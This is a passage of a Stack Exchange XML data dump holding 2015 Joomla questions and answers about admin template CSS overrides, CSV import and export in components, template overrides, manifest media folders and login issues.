BY-SA 3.0" />
  <row Id="9973" PostTypeId="1" AcceptedAnswerId="9974" CreationDate="2015-05-17T16:34:02.427" Score="6" ViewCount="6583" Body="&lt;p&gt;I want to customize a bit the look of the ISIS admin template in Joomla 3. Need to add a few custom css for colours, and hide a few elements here and there. What is the best way to do this?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-17T17:27:06.857" LastActivityDate="2017-08-24T10:48:37.283" Title="How to customize the look of the admin ISIS template with CSS? ISIS custom.css" Tags="|templates|administrator|overrides|css|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9974" PostTypeId="2" ParentId="9973" CreationDate="2015-05-17T16:34:02.427" Score="9" Body="&lt;h1&gt;Custom.css for Joomla 3.4.1 and later&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This method is the &lt;strong&gt;easier&lt;/strong&gt; for custom CSS overrides for the admin template. Simply create a &lt;strong&gt;&lt;code&gt;custom.css&lt;/code&gt;&lt;/strong&gt; file and place it inside the &lt;strong&gt;css folder of the ISIS template&lt;/strong&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;administrator/templates/isis/css/custom.css&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template will load this css file last, so any css rules declared there, will override the core ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that this is a new feature introduced in Joomla 3.4.1. Earlier versions had no core - support for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Older Joomla Versions: Clone the template&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Before introducing the &lt;code&gt;custom.css&lt;/code&gt; feature for Joomla admin template, you had to copy/clone the ISIS template, inside the &lt;strong&gt;template manager&lt;/strong&gt;, and then work it like a totally separate custom admin template. This method will allow a lot of flexibility in creating a customized template, not only on the css level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, with the rather quick speed that Joomla core is changing, your template might need some extra work after any Joomla updates, to support any possible new features.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In any case, at this point all Joomla 3 installations should be up to&#xA;  date with the latest versions (current version 3.5.1). Versions before&#xA;  3.4.8 are vulnerable - consider to update A.S.A.P.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-08-24T10:48:37.283" LastActivityDate="2017-08-24T10:48:37.283" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9975" PostTypeId="2" ParentId="9973" CreationDate="2015-05-17T17:20:42.230" Score="1" Body="&lt;p&gt;If you do not want to redo all stuff whenever you update Joomla, create a copy of the template and use template manager to modify its files. If you wish to modify files using local editor, make sure your file editing software can save files with utf-8 encoding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please see below documentation:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.2:How_to_use_the_Template_Manager&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.2:How_to_use_the_Template_Manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-17T17:29:21.077" LastActivityDate="2015-05-17T17:29:21.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9977" PostTypeId="1" AcceptedAnswerId="9978" CreationDate="2015-05-18T02:06:48.983" Score="1" ViewCount="481" Body="&lt;p&gt;I am writing some code to upload a list of entries from a CSV file and process them. I am using a foreach loop to cycle through each of them, however, the save function of the model is pulling the previous entries id and overwriting it. Is there a way to stop this happening? This is my controller code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function uploadsaveshows() {&#xA;    // An array of headers that will need to be entered into a separate array to allow entry as JSON&#xA;    $detail_headers = array(&#xA;            'legal_entity',&#xA;            'incorp_num',&#xA;            'ACN',&#xA;            'url',&#xA;            'physical_street_1',&#xA;            'physical_street_2',&#xA;            'physical_town',&#xA;            'physical_state',&#xA;            'physical_postcode',&#xA;            'start_date',&#xA;            'agm_date',&#xA;            'royal',&#xA;            'stamp_duty_exempt',&#xA;            'stamp_duty_expiry',&#xA;            'insurance_expiry',&#xA;            'supp_events'&#xA;    );&#xA;&#xA;    $app   = JFactory::getApplication();&#xA;    $lang  = JFactory::getLanguage();&#xA;    $model = $this-&amp;gt;getModel();&#xA;&#xA;    date_default_timezone_set('Australia/Sydney');&#xA;&#xA;    $path = JPATH_COMPONENT . '/controllers/showdata.csv';&#xA;&#xA;    //Load the file and pass each line into an array.&#xA;    $rows = array_map('str_getcsv', file($path));&#xA;    //Take out the first line as it is the headers.&#xA;    $header = array_shift($rows);&#xA;&#xA;    //turn each of the arrays into an entry&#xA;    foreach ($rows as $row) {           &#xA;        $show = array_combine($header, $row);&#xA;        $show['first_date_start'] =  date('Y-m-d H:i:s',strtotime(str_replace('/', '-', $show['first_date_start'])));&#xA;        $show['first_date_finish'] =  date('Y-m-d H:i:s',strtotime(str_replace('/', '-', $show['first_date_finish'])));&#xA;        $show['second_date_start'] =  date('Y-m-d H:i:s',strtotime(str_replace('/', '-', $show['second_date_start'])));&#xA;        $show['second_date_finish'] =  date('Y-m-d H:i:s',strtotime(str_replace('/', '-', $show['second_date_finish'])));&#xA;        $show['third_date_start'] =  date('Y-m-d H:i:s',strtotime(str_replace('/', '-', $show['third_date_start'])));&#xA;        $show['third_date_finish'] =  date('Y-m-d H:i:s',strtotime(str_replace('/', '-', $show['third_date_finish'])));&#xA;        $show['start_date'] =  date('Y-m-d H:i:s',strtotime(str_replace('/', '-', $show['start_date'])));&#xA;        $show['agm_date'] =  date('Y-m-d H:i:s',strtotime(str_replace('/', '-', $show['agm_date'])));&#xA;        $show['insurance_expiry'] =  date('Y-m-d H:i:s',strtotime(str_replace('/', '-', $show['insurance_expiry'])));&#xA;&#xA;        foreach ($show as $keys =&amp;gt; $value) {&#xA;            //separate each of the entries that need to be entered into an array to be stored as JSON&#xA;            if(in_array($keys, $detail_headers)){&#xA;                $details[$keys]= $value;&#xA;                unset($show[$keys]);&#xA;            }&#xA;        }&#xA;&#xA;        $show['details'] = $details;&#xA;&#xA;        //Save each one&#xA;        if (!$model-&amp;gt;save($show))&#xA;        {&#xA;&#xA;            return false;&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;        // Redirect to the list screen.&#xA;        $this-&amp;gt;setRedirect(&#xA;                JRoute::_(&#xA;                        'index.php?option=' . $this-&amp;gt;option . '&amp;amp;view=' . $this-&amp;gt;view_list&#xA;                        . $this-&amp;gt;getRedirectToListAppend(), false&#xA;                )&#xA;        );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3634" LastActivityDate="2015-05-18T02:31:46.407" Title="Clear model state when saving new item" Tags="|joomla-3.x|component|model|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9978" PostTypeId="2" ParentId="9977" CreationDate="2015-05-18T02:31:46.407" Score="1" Body="&lt;p&gt;There are two methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pass the id in the data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$show['id'] = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try to get the state and set the id to 0.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$state = $model-&amp;gt;getState();&#xA;$state-&amp;gt;set($model-&amp;gt;getName().'.id', 0);&#xA;if(!$model-&amp;gt;save($show)){&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-18T02:31:46.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9979" PostTypeId="1" CreationDate="2015-05-18T04:55:53.480" Score="2" ViewCount="410" Body="&lt;p&gt;I am trying to export a list of items to a CSV file from the standard list view in a Joomla component. I have a simple export button and it creates a file for download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I am having is that the next link pressed it tries to export the data again until the form is refreshed. I'm guessing that's because I am not redirecting on the completion of the task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to cancel this task once its complete without redirecting? because redirecting will cause my file not to download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my controller code which is executed after the list has been generated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function exportData($data) {&#xA;&#xA;    // Set Headers&#xA;    header('Content-Type: text/csv');&#xA;    header('Content-Disposition: attachment;filename='.'shows.csv');&#xA;&#xA;    if($fp = fopen('php://output', 'w')) {&#xA;        // Output the first row as column headings&#xA;        if($data[0]) {&#xA;            fputcsv($fp, array_keys(JArrayHelper::fromObject($data[0])));&#xA;        }&#xA;&#xA;        // Output the rows&#xA;        foreach ($data as $row) {&#xA;            fputcsv($fp, JArrayHelper::fromObject($row));&#xA;        }&#xA;&#xA;        // Close the file&#xA;        fclose($fp);&#xA;    }&#xA;&#xA;    JFactory::getApplication()-&amp;gt;close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3634" LastActivityDate="2015-05-26T21:14:33.240" Title="Resetting Joomla Form Task" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9982" PostTypeId="2" ParentId="9070" CreationDate="2015-05-18T09:22:31.907" Score="2" Body="&lt;p&gt;Yes you could create an override in the article view template file, and make a call to the db to fetch articles and display them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But maybe it would be better to use an article module for this. &#xA;If your template has a module position below the component (content) location, you could assign it there. If it doesn't then you could create a new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If showing the module in a module position is not what you want, it's also possible to make the module load inside the article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always load modules inside an article, with the &lt;code&gt;{loadposition positionx}&lt;/code&gt; - with the &lt;code&gt;Content Plugin - Load Modules&lt;/code&gt; being enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want all articles to include the module, and being tired with the process of manually adding the module to each article, then you could create an override for the article view and have the module loaded dynamically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a template override for the article and use anywhere you like, guess you want it after the article content, so that would be somewhere after: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;item-&amp;gt;text;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code to load module inside the article template:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php &#xA;   jimport( 'joomla.application.module.helper' );&#xA;&#xA;    $modules = JModuleHelper::getModules( 'articlebottom' ); // Get Modules assigned at a position articlebottom (Returns and array)- it can be a custom position. &#xA;&#xA;    $attribs = array('style' =&amp;gt; 'xhtml'); // define module attributes, like module chrome. &#xA;&#xA;    if (count($modules)&amp;gt;0) { // Checking if there are modules ?&amp;gt; &#xA;&#xA;        &amp;lt;!-- Module wrapper --&amp;gt;&#xA;        &amp;lt;div id=&quot;top-contentb&quot; class=&quot;top-content&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php echo JModuleHelper::renderModule($modules[0], $attribs); // Render the first module of the $modules array.?&amp;gt; &#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*You can find more info about creating template overrides in here and in Joomla.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, it worths checking in Joomla Extensions Directory for articles extensions - apart of the modules, there could be content plugin that can load articles suggestions (like similar articles, recent articles, category articles etc).&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-05-18T13:55:23.367" LastActivityDate="2015-05-18T13:55:23.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9984" PostTypeId="2" ParentId="916" CreationDate="2015-05-18T13:07:12.473" Score="2" Body="&lt;p&gt;Enclose those two fields in a  element in your form xml file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields label=&quot;COM_COMPONENTNAME_FIELDNAME_FIELDSET_LABEL&quot; name=&quot;fieldname&quot;&amp;gt;&#xA;  &amp;lt;fieldset label=&quot;COM_COMPONENTNAME_FIELDNAME_FIELDSET_LABEL&quot; name=&quot;basic&quot;&amp;gt;&#xA;     &amp;lt;field name=&quot;name&quot; type=&quot;text&quot; label=&quot;name&quot;/&amp;gt;&#xA;     &amp;lt;field name=&quot;name2&quot; type=&quot;text&quot; label=&quot;name&quot;/&amp;gt;&#xA;  &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the both fields will go as json data into the table column &quot;fieldname&quot; (change it to your actual fieldname)&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-05-18T13:07:12.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9987" PostTypeId="1" CreationDate="2015-05-18T14:44:32.130" Score="1" ViewCount="550" Body="&lt;p&gt;Using Protostar template for website under construction www.wilddusk.com. Want to have top banner (means part of where I have uploaded logo) removed just from home page as the client insists that the same will relieve upper space to display image sliders prominently from the top. &lt;/p&gt;&#xA;" OwnerUserId="2203" LastActivityDate="2015-05-27T05:58:37.660" Title="Top banner removed just from home page for template Protostar" Tags="|templates|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9988" PostTypeId="2" ParentId="9987" CreationDate="2015-05-18T14:50:08.040" Score="1" Body="&lt;p&gt;To remove a module on a specific page, open it via the Module Manager in the Joomla backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, under the &lt;strong&gt;Menu Assignment&lt;/strong&gt; tab, you can select which pages it does and doesn't appear on.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-18T14:50:08.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9989" PostTypeId="2" ParentId="9987" CreationDate="2015-05-18T14:56:33.787" Score="2" Body="&lt;p&gt;For a quick and dirty solution, try hiding it using CSS. Protostar adds a unique class to your &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag based on the &lt;em&gt;item-id&lt;/em&gt; of your current page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding this CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.itemid-101 header {&#xA;  display: none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On a side note, you should be carefull when using the default Protostar template, because it's part of core Joomla and could be overwritten when you update Joomla. It's safer to make a copy of the template before modifying it.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-05-18T14:56:33.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9991" PostTypeId="2" ParentId="9914" CreationDate="2015-05-18T16:24:59.277" Score="1" Body="&lt;p&gt;Your initial question is yet a bit confusing to me. I am grabbing the opportunity, based on your last comment (), to explain briefly a couple things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Your last comment:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;By position I mean just like the banner position, the bottom position&#xA;  etc.. Where you can position elements, not the elements their self. So&#xA;  how to customize the size and the location of a position? (On my&#xA;  question I ask for 2 positions side by side)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The positions you mentioned, are module positions specified by the template. &lt;/li&gt;&#xA;&lt;li&gt;Modules are small pieces of software (simple extensions) that can print out site content, according to how they are designed.&lt;/li&gt;&#xA;&lt;li&gt;Template is responsible for the output and the layout of the content.     &lt;/li&gt;&#xA;&lt;li&gt;The output of the template is an html document. The standard of positioning elements inside an html document is with CSS. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe in your case, all you want to do is to find a module suitable to select and display the specific content you want. Then find if your template provides a module position that can display 2 or more modules aligned -one next to each other-, and add 2 instances of that module -1 for each of the side-side blocks- in this position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could ask the template provider if there is a such module position.&#xA;If it's a custom template, then you could create one, module position and add the appropriate css to make the content inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How the modules will be positioned side by side is a pure css thing.&#xA;Usually you need to float the elements to the left or right, and give them a total width, including margins, borders etc of 100%. (It can be a 50%-50% for each of the 2 modules).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the above sound like Chinese, then another suggestion is to search if there are any modules that are designed to display the content the way you want (in grid view). In this case, you could just use 1 module and configure it to show the content you want in 2 columns. Check in Joomla Extensions Directory - I believe there should be something to fit your requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update - Check this similar question here:&lt;/strong&gt;   &lt;a href=&quot;https://joomla.stackexchange.com/questions/9845/placing-two-modules-side-by-side/9847#9847&quot;&gt;Placing two modules side by side&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-05-18T16:33:47.647" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9992" PostTypeId="1" AcceptedAnswerId="9997" CreationDate="2015-05-18T18:17:20.187" Score="1" ViewCount="455" Body="&lt;p&gt;I have created my own template and want my category articles to display in 3 columns. I have set these setting to display in 3 columns in the global configuration and the menu settings. It all still displays as one column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.scottiev.com/R&lt;/p&gt;&#xA;" OwnerUserId="5263" LastActivityDate="2015-05-18T21:06:40.943" Title="3 column layout will not display after settings are made" Tags="|articles|menu|layout|category|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9993" PostTypeId="2" ParentId="9992" CreationDate="2015-05-18T19:35:18.260" Score="0" Body="&lt;p&gt;You should have some module(s) published into these &quot;columns&quot; (i.e. module positions in them), and set them to show on some menu items.&#xA;Just don't understand what settings have you set in global configuration, where there are no template-specific options?&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2015-05-18T19:35:18.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9994" PostTypeId="1" CreationDate="2015-05-18T19:55:17.553" Score="1" ViewCount="244" Body="&lt;p&gt;I am trying to call an image popup box for a flexicontent plugin in J3.4.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2T5MH.png&quot; alt=&quot;Problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is - the insert &amp;amp; cancel don't seem to close the modal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;pull-right&quot;&amp;gt;&#xA;&amp;lt;button class=&quot;btn btn-primary&quot; type=&quot;button&quot; onclick=&quot;window.parent.jInsertFieldValue(document.getElementById('f_url').value,'txtImgUrl');window.parent.jModalClose();&quot;&amp;gt;Insert&amp;lt;/button&amp;gt;&#xA;&amp;lt;button class=&quot;btn&quot; type=&quot;button&quot; onclick=&quot;window.parent.jModalClose();&quot;&amp;gt;Cancel&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I call jModalClose:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function jModalClose() {&#xA;            window.parent.jModalClose();&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the following js error:&#xA;Uncaught RangeError: Maximum call stack size exceeded&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that bootstrap has issues with multiple modals:&#xA;&lt;a href=&quot;https://github.com/twbs/bootstrap/pull/5022#issuecomment-10099093&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/twbs/bootstrap/pull/5022#issuecomment-10099093&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But am unsure of how to close the module. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2015-05-18T19:55:17.553" Title="Closing multiple modals in a Joomla Plugin" Tags="|joomla-3.x|plugin|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9996" PostTypeId="2" ParentId="8850" CreationDate="2015-05-18T21:01:49.550" Score="3" Body="&lt;p&gt;To add a special &quot;category&quot; class to the articles of the featured articles menu item, you need to create a template override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply, copy the : &lt;code&gt;default.php&lt;/code&gt; file, located in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;components/com_content/views/featured/tmpl/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to -&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;templates/YOURTEMPLATENAME/html/com_content/featured/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Create any of the above folders (html, com_content, featured) if they don't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then open the copied default.php file with a text-editor (notepad) and locate around line 29:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!empty($this-&amp;gt;lead_items)) : ?&amp;gt;&#xA;&amp;lt;div class=&quot;items-leading clearfix&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;lead_items as &amp;amp;$item) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;leading-&amp;lt;?php echo $leadingcount; ?&amp;gt;&amp;lt;?php echo $item-&amp;gt;state == 0 ? ' system-unpublished' : null; ?&amp;gt; clearfix&quot; &#xA;            itemprop=&quot;blogPost&quot; itemscope itemtype=&quot;http://schema.org/BlogPosting&quot;&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Change to this:&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!empty($this-&amp;gt;lead_items)) : ?&amp;gt;&#xA;&amp;lt;div class=&quot;items-leading clearfix&quot;&amp;gt;&#xA;    &amp;lt;?php foreach ($this-&amp;gt;lead_items as &amp;amp;$item) : ?&amp;gt;&#xA;        &amp;lt;div class=&quot;leading-&amp;lt;?php echo $leadingcount .&quot; $item-&amp;gt;category_alias&quot;;?&amp;gt;&amp;lt;?php echo $item-&amp;gt;state == 0 ? ' system-unpublished' : null; ?&amp;gt; clearfix&quot; &#xA;            itemprop=&quot;blogPost&quot; itemscope itemtype=&quot;http://schema.org/BlogPosting&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add an extra class, with the alias-name of the category each article belongs, to all leading items of the featured articles view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Similarly, you can do the same for the intro_items:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Around line 61:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;item column-&amp;lt;?php echo $rowcount .&quot; $item-&amp;gt;category_alias&quot;; ?&amp;gt;&#xA;    &amp;lt;?php echo $item-&amp;gt;state == 0 ? ' system-unpublished' : null; ?&amp;gt; span&amp;lt;?php echo round((12 / $this-&amp;gt;columns));?&amp;gt;&quot;&#xA;itemprop=&quot;blogPost&quot; itemscope itemtype=&quot;http://schema.org/BlogPosting&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-18T21:01:49.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9997" PostTypeId="2" ParentId="9992" CreationDate="2015-05-18T21:06:40.943" Score="3" Body="&lt;p&gt;That is because you haven't created the appropriate CSS support for 3 columns in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, at the home page (or whatever it is this page: www.scottiev.com/R ), if you want to show the 3 blocks in a 3 column fashion, then you need to add something like the following css rules in your template's css file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.span4 {&#xA;  width: 33%;&#xA;  float: left;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-18T21:06:40.943" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9998" PostTypeId="1" AcceptedAnswerId="10010" CreationDate="2015-05-18T21:25:06.057" Score="2" ViewCount="663" Body="&lt;p&gt;I'm creating a component. I have put the images, css files, javascript files and other assets in com_mycomponent/media folder. And in my manifest file I have added this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;media destination=&quot;com_mycomponent&quot; folder=&quot;media&quot;&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;font-awesome&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;images&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I access the server, inside the &lt;code&gt;media/com_mycomponent&lt;/code&gt;, the directories and files are not there, the directory is completely empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My component directory structure is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.&#xA;+-- admin/&#xA;+-- media/&#xA;+-- site/&#xA;+-- mycomponent.xml&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Directory permission is &lt;code&gt;755&lt;/code&gt; and it's to the user &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1744" LastEditorUserId="1744" LastEditDate="2015-05-19T13:34:08.573" LastActivityDate="2015-05-19T18:58:14.320" Title="Files not being copied to media/ folder" Tags="|component|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9999" PostTypeId="2" ParentId="9998" CreationDate="2015-05-18T21:35:14.673" Score="0" Body="&lt;p&gt;Just to clarify, place media folder at the &quot;root&quot; of your component directory structure - and not in any deeper location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the manifest file, try the following:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;media destination=&quot;mycomponent&quot; folder=&quot;media/mycomponent&quot;&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;font-awesome&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;images&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-05-18T21:35:14.673" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10000" PostTypeId="1" CreationDate="2015-05-19T01:59:38.253" Score="3" ViewCount="478" Body="&lt;p&gt;I have a Joomla! version 3.4.1 site that we just launched. We have a very strange issue where user credentials work or don't work consistently from certain workstations within certain browsers. One user can log in Using Safari on Mac but Chrome fails. My login works in Firefox but not Safari on Mac, but not Firefox on my one Ubuntu rig, does work in Firefox on my other Ubuntu rig. I set up a test user and tried another set of credentials (3 total) and they all work or fail consistently, depending on computer and browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never seen anything this weird in 30 years of coding and working on computers in general. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of what to check or look at would be helpful!&lt;/p&gt;&#xA;" OwnerUserId="5265" LastActivityDate="2019-09-07T08:50:49.293" Title="User logins only work from some computers and browsers" Tags="|joomla-3.x|login|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
